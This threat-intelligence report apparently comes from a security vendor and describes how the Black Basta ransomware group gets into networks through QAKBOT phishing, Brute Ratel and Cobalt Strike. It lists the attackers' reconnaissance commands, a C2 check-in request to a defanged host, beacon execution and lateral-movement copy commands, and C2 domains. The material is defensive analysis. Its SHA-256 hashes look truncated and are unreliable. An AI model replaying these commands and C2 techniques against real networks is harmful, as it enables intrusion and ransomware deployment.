Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike

By Ian Kenefick, Lucas Silva, Nicole Hernandez (words)

Published: 2022-10-12 · Archived: 2026-04-06 01:37:02 UTC

The rise of Brute Ratel and other C&C frameworks

Brute Ratel is a commercial (paid) Adversary Emulation framework and a relative newcomer to the commercial C&C Framework space, where it competes with more established players such as Cobalt Strike.

Adversary Emulation frameworks like Brute Ratel and Cobalt Strike are marketed to penetration testing professionals (Red Teams) for use in legitimate penetration testing activities in which organizations seek to improve their ability to detect and respond to real cyberattacks. These frameworks are used to provide hands-on keyboard access from remote locations to emulate the tactics, techniques, and procedures (TTPs) used by attackers in network intrusions.

On top of Cobalt Strike's legitimate use cases, it has gained notoriety for its illicit usage and near omnipresence in high-profile, human-operated ransomware attacks during the past few years. It serves as a common second-stage payload from Botnets such as QAKBOT (TrojanSpy.Win64.QAKBOT), IcedID (TrojanSpy.Win64.ICEDID), Emotet (TrojanSpy.Win64.EMOTET), and Bumblebee (Trojan.Win64.BUMBLELOADER), among others**.** Unfortunately, several versions of Cobalt Strike have been leaked over the past couple of years, accelerating its malicious use by cybercriminals.

As a result of its popularity compared to Brute Ratel, its detection coverage is greater than that of the latter. This makes Brute Ratel and other less established C&C frameworks an increasingly more attractive option for malicious actors, whose activities may remain undetected for a longer period.

Brute Ratel has recently attracted greater interest from threat actors in the cybercriminal underground, where versions of the framework are actively traded and cracked versions circulated. It is unknown how Brute Ratel was initially leaked, but its developers have acknowledged the leak on Twitter.

QAKBOT 'BB' to Brute Ratel

The campaign commences via a SPAM email containing a malicious new URL being sent to potential victims. The URL landing page presents the recipient with a password for a ZIP file.

Sandbox and security solution evasion

The use of password-protected ZIP files at this stage is likely an attempt to evade analysis by security solutions.

Mark of the Web evasion

The ZIP file contains a single .ISO file. The use of an ISO file is an attempt to defeat the "Mark of the Web (MOTW)," which tags files as being downloaded from the internet. It subjects these files to additional security measures by Windows and endpoint security solutions.

The ISO file contains a visible LNK file that uses the "Explorer" icon and two hidden subdirectories, each containing various files and directories. By default, on Windows operating systems, hidden files are not displayed to the user. Figure 5 illustrates what the user sees when the "Show hidden files" setting is enabled.

The directory structure is as follows:

File Name	Description	Detection Name	SHA-256
Accounting#7405.iso		Trojan.Win32.QAKBOT.YACIW	582a5e2b2652284ebb486bf6a367aaa6bb817c856f08ef54db64
Contract.lnk	LNK File	Trojan.LNK.QAKBOT.YACIW	e9e214f7338c6baefd2a76ee66f5fadb0b504718ea3cebc65da7a

fodder.txt	Decoy text file		4dcf06a5afc699bbb73650cefe4ad86a1b686a257c607e0b96dd
enunciatedNaught.cmd	Malicious CMD File	Trojan.BAT.QAKBOT.YACIW	d44b05b248f95986211ab3dc2765f1d76683594a174984c8b80
eyelid.png	Decoy PNG file		dd755395b36acfceaa0d7e9c5479df4b1c919d57837fe4306898
reflectiveness.db	QAKBOT DLL	Trojan.Win32.QAKBOT.YACIW	01fd6e0c8393a5f4112ea19a26bedffb31d6a01f4d3fe5721ca20
sharpOutvotes.js	Malicious JS File	Trojan.JS.QAKBOT.YACIW	06c4c4d100e9a7c79e2ee8c4ffa1f7ad165a014f5f14f90ddfc73(

Command-line interface - Execution sequence

QAKBOT uses obfuscation across two script files, a JavaScript (.js) file and a Batch Script (.cmd) file, likely in an effort to conceal suspicious-looking command lines.

Initial QAKBOT C&C server communication

The C&C Infrastructure is geographically distributed across compromised hosts residing in predominantly residential Internet Service Provider (ISP) broadband networks.

The following countries are where the C&C servers reside:

- Afghanistan
- Algeria
- Argentina
- Austria
- Brazil
- Bulgaria
- Canada
- Chile
- Colombia
- Egypt
- India
- Indonesia
- Japan
- Mexico
- Mongolia
- Morocco
- Netherlands
- Qatar
- Russia
- South Africa
- Taiwan
- Thailand
- Turkey
- United Arab Emirates
- United Kingdom
- United States
- Vietnam

- Yemen

These ‘Tier 1’ C&C Servers are considered disposable by the QAKBOT operators and are replaced frequently (nearly every time there is a new distribution of the malware), though some persist across multiple QAKBOT malware configurations.

Automated reconnaissance commands

Just six minutes after the initial C&C communication, and with the QAKBOT malware now running inside an injected process (wermgr.exe), automated reconnaissance in the infected environment is performed via the execution of multiple built-in command line tools. The execution of these command lines is in the following order:

Order	Process	Command Line
1	C:\Windows\SysWOW64\net.exe	net view
2	C:\Windows\SysWOW64\ARP.EXE	arp -a
3	C:\Windows\SysWOW64\ipconfig.exe	ipconfig /all
4	C:\Windows\SysWOW64\nslookup.exe	nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.<domain_fqdn>
5	C:\Windows\SysWOW64\net.exe	net share
6	C:\Windows\SysWOW64\ROUTE.EXE	route print
7	C:\Windows\SysWOW64\NETSTAT.EXE	netstat -nao
8	C:\Windows\SysWOW64\net.exe	net localgroup
9	C:\Windows\SysWOW64\whoami.exe	whoami /all

This activity is visible in Trend Micro Vision Oneproducts™, which detects the suspicious usage of these built-in Windows commands.

QAKBOT drops Brute Ratel

Five minutes after the automated reconnaissance activities are completed, the QAKBOT-injected wermgr.exe process drops the Brute Ratel DLL and invokes it via a rundll32.exe child process with the “main” export function.

The backdoor is a HTTPS , which performs a check-in with the Brute Ratel Server at symantecuptimehost[.]com:

POST hxxps://symantecuptimehost[.]com:8080/admin.php?login= HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36
Host: symantecuptimehost[.]com:8080
Content-Length: 122
Cache-Control: no-cache

Further reconnaissance is performed in the environment to identify privileged users. First, the built-in net.exe and nltest.exe are used.

Order	Process	
1	C:\Windows\SysWOW64\net.exe	net group "Domain Admins" /domain
2	C:\Windows\SysWOW64\net.exe	net group "Domain Controllers" /domain
3	C:\Windows\SysWOW64\nltest.exe	nltest /domain_trusts /all_trusts
4	C:\Windows\SysWOW64\net.exe	net user <redacted> /domain

Second, the SharpHound utility is run via Brute Ratel in an injected svchost.exe process to output JSON files that are ingested into BloodHound (that describes the Active Directory Organisational Units, Group Policies, Domains, User Groups, Computers, and Users). The files are then packed into a ZIP file in preparation for exfiltration. The entire process is scripted and takes less than two seconds to complete.

Brute Ratel drops Cobalt Strike

Interestingly, the actors chose to leverage Cobalt Strike for lateral movement. The first of several beacon files are dropped onto the same infected endpoint running Brute Ratel C4, with the first being:

- C:\Users\Public\Name-123456.xls

This beacon file is executed on the same host running the Brute Ratel C4 using the following command:

- rundll32 C:\users\public\Name-123456.xls,DllRegisterServer

The actor drops the other beacon files and copies these to administrative shares on other hosts on the network, again using filenames bearing XLS attachments.

- C:\Users\Public\abcabc.xls
- C:\Users\Public\abc-1234.xls
- C:\Users\Public\Orders_12_34_56.xls
- C:\Users\Public\MkDir.xls

The commands used to copy the files are as follows:

C:\WINDOWS\system32\cmd.exe /C copy C:\users\public\fksro.xls
\\<HOST>\C$\users\public\abcabc.xls

The following list is the beacon C&C Servers:

- hxxps://fewifasoc[.]com | 45.153.242[.]251
- hxxps://hadujaza[.]com | 45.153.241[.]88
- hxxps://himiketiv[.]com | 45.153.241[.]64

The threat actors were then evicted from the environment before any final actions could be taken. We assess based on the level of access and discovery activity that the likely final actions would have been a domain-wide ransom deployment.

QAKBOT ‘Obama’ to Brute Ratel

In another, more recent, incident, Trend Micro Research spotted QAKBOT using the “Obama” distributor ID prefix (i.e. “Obama208”) also dropping Brutel Ratel C4 as a second-stage payload.

In this case, the malware arrives as a password-protected ZIP file delivered via HTML smuggling, which allows the attacker to “smuggle” an encoded malicious script into an HTML attachment or web page. Once the user opens the HTML page in the browser, the script is decoded and the payload is assembled.

Once the ZIP file is decrypted using the password provided in the HTML attachment, the user is presented with an ISO file. The malicious files are contained in the ISO file, which is used as a Mark of the Web bypass. Inside, an ISO file bears the

following directory structure:

Since QAKBOT's return, we have observed multiple varieties in the execution chain, from scripting languages to file extensions and the use of export function names and ordinals. For this infection, the following variation was used:

The infection plays out with the same TTPs (Tactics, Techniques, and Procedures) described in the first kill chain in this blog. However, one notable difference was observed in the C&C configuration, which used DNS over HTTPS (DoH) vs a more traditional HTTPS C&C Channel. The C&C servers observed used HTTPS with Let's-Encrypt.

By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS queries to the C&C server will therefore go unnoticed.

Based on our investigations, we can confirm that the QAKBOT-to-Brute Ratel-to-Cobalt Strike kill chain is associated with the group behind the Black Basta Ransomware. This is based on overlapping TTPs and infrastructure observed in Black Basta attacks. It is not the first time that we have observed intrusions via QAKBOT leading to Black Basta.

Conclusion and security recommendations

- Users can thwart new QAKBOT variants and other threats that spread through emails by following some of these best practices:
- Verify the email sender and content before downloading attachments or selecting embedded links from emails.
- Hover the pointer above embedded links to show the link's target.
- Check the sender's identity. Unfamiliar email addresses, mismatched email and sender names, and spoofed company emails are some of the signs that the sender has malicious intent.
- If the email claims to come from a legitimate company, verify if they actually sent it before taking any action.

Organizations should take note of the trending use of Cobalt Strike in attacks, living-off-the-land binaries (LOLBins), and red team or penetration-testing tools, i.e. Brutel Ratel C4, to blend in with the environment.

Users can also protect systems through managed detection and response (MDR), which utilizes advanced artificial intelligence to correlate and prioritize threats, determining if they are part of a larger attack. It can detect threats before they are executed, thus preventing further compromise.

The constant resurgence of new, more sophisticated variants of known malware, as well as the emergence of entirely unknown threats, demand solutions with advanced detection and response capabilities such as Trend Micro Vision Oneproducts, a technology that can provide powerful XDR capabilities that collect and automatically correlate data across multiple security layers — from email and endpoints to servers, cloud workloads, and networks. Trend Micro Vision One can prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed.

Tactics, Techniques, and Procedures (TTPs)

Tactic / Technique	Notes
TA0001 Initial Access	
T1566.001 Phishing: Spear phishing Attachment	Victims receive spear phishing emails with attached malicious zip files - typically password protected or HTML file. That file contains an ISO file.
T1566.001 Phishing: Spear phishing Link	QAKBOT has spread through emails with newly created malicious links.
TA0002 Execution	
T1204.001 User Execution: Malicious Link	QAKBOT has gained execution through users accessing malicious link

T1204.002 User Execution: Malicious Link	QAKBOT has gained execution through users opening malicious attachments
T1569.002 System Services: Service Execution	Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services
T1059.005 Command and Scripting Interpreter: Visual Basic Script	QAKBOT can use VBS to download and execute malicious files
T1059.007 Command and Scripting Interpreter: JavaScript	QAKBOT abuses Wscript to execute a Jscript file.
TA0003 Persistence	
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	QAKBOT can maintain persistence by creating an auto-run Registry key
TA0004 Privilege Escalation	
T1055 Process Injection	QAKBOT can inject itself into processes like wermgr.exe
TA0006 Defense Evasion	
T1027.006 Obfuscated Files or Information: HTML Smuggling	Smuggles a file's content by hiding malicious payloads inside of seemingly benign HTML files.
T1218.010 System Binary Proxy Execution: Regsvr32	QAKBOT can use Regsvr32 to execute malicious DLLs Cobalt Strike can use rundll32.exe to load DLL from the command line
T1140. Deobfuscate/Decode Files or Information	Initial QAKBOT .zip file bypasses some antivirus detections due to password protections.
T1562.009. Impair Defenses: Safe Boot Mode	Black Basta uses bcdedit to boot the device in safe mode.
TA0007 Discovery	
T1010 Application Window Discovery	QAKBOT can enumerate windows on a compromised host.
T1482 Domain Trust Discovery	QAKBOT can run nltest /domain_trusts /all_trusts for domain trust discovery.

T1135 Network Share Discovery	QAKBOT can use net share to identify network shares for use in lateral movement.
T1069.001 Permission Groups Discovery: Local Groups	QAKBOT can use net localgroup to enable the discovery of local groups
T1057 Process Discovery	QAKBOT has the ability to check running processes
T1018 Remote System Discovery	QAKBOT can identify remote systems through the net view command
T1082 System Information Discovery	QAKBOT can collect system information including the OS version and domain on a compromised host
T1016 System Network Configuration Discovery	QAKBOT can use net config workstation, arp -a, and ipconfig /all to gather network configuration information
T1049 System Network Connections Discovery	QAKBOT can use netstat to enumerate current network connections
T1033 System Owner/User Discovery	QAKBOT can identify the username on a compromised system
TA0008 Lateral Movement	
T1021 Remote Services: SMB/Windows Admin Shares	Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement
TA0011 Command and Control	
T1071.001 Application Layer Protocol: Web Protocols	QAKBOT can use HTTP and HTTPS in communication with the C&C servers.
T1573. Encrypted Channel	Used by QAKBOT, BRUTEL and Cobalt Strike
TA0040 Impact	
T1486. Data Encrypted for Impact	Black Basta uses the ChaCha20 algorithm to encrypt files. The ChaCha20 encryption key is then encrypted with a public RSA-4096 key that is included in the executable.
T1489. Service Stop	Uses sc stop and taskkill to stop services.
T1490. Inhibit System Recovery	Black Basta deletes Volume Shadow Copies using vssadmin tool.

T1491 - Defacement	Replaces the desktop wallpaper to display the ransom note.

Indicators of Compromise

The indicators of compromise for this entry can be found here.
